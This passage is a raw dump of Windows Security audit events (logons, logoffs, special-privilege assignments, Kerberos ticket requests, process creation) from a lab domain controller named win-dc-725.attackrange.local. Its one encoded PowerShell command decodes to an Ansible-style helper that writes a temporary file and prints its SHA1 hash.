types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250893 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FB65 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250892 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FAAC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250891 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11FAAC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64486 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250890 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FAAC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250889 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FA4B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250888 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11FA4B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64485 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250887 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11FA4B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250886 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11F6E1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250885 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11F6E1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250884 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250883 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250882 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250881 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11F11E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250880 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11F11E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250879 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250878 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250877 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250876 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x135c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1290 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADcALgA3ADkAMwA1ADUAMQAyAC0AOAAwADQAMQAwADMAMwA0ADYAOAA5ADkANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250875 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1290 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1180 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADcALgA3ADkAMwA1ADUAMQAyAC0AOAAwADQAMQAwADMAMwA0ADYAOAA5ADkANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250874 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11EF0A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250873 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: 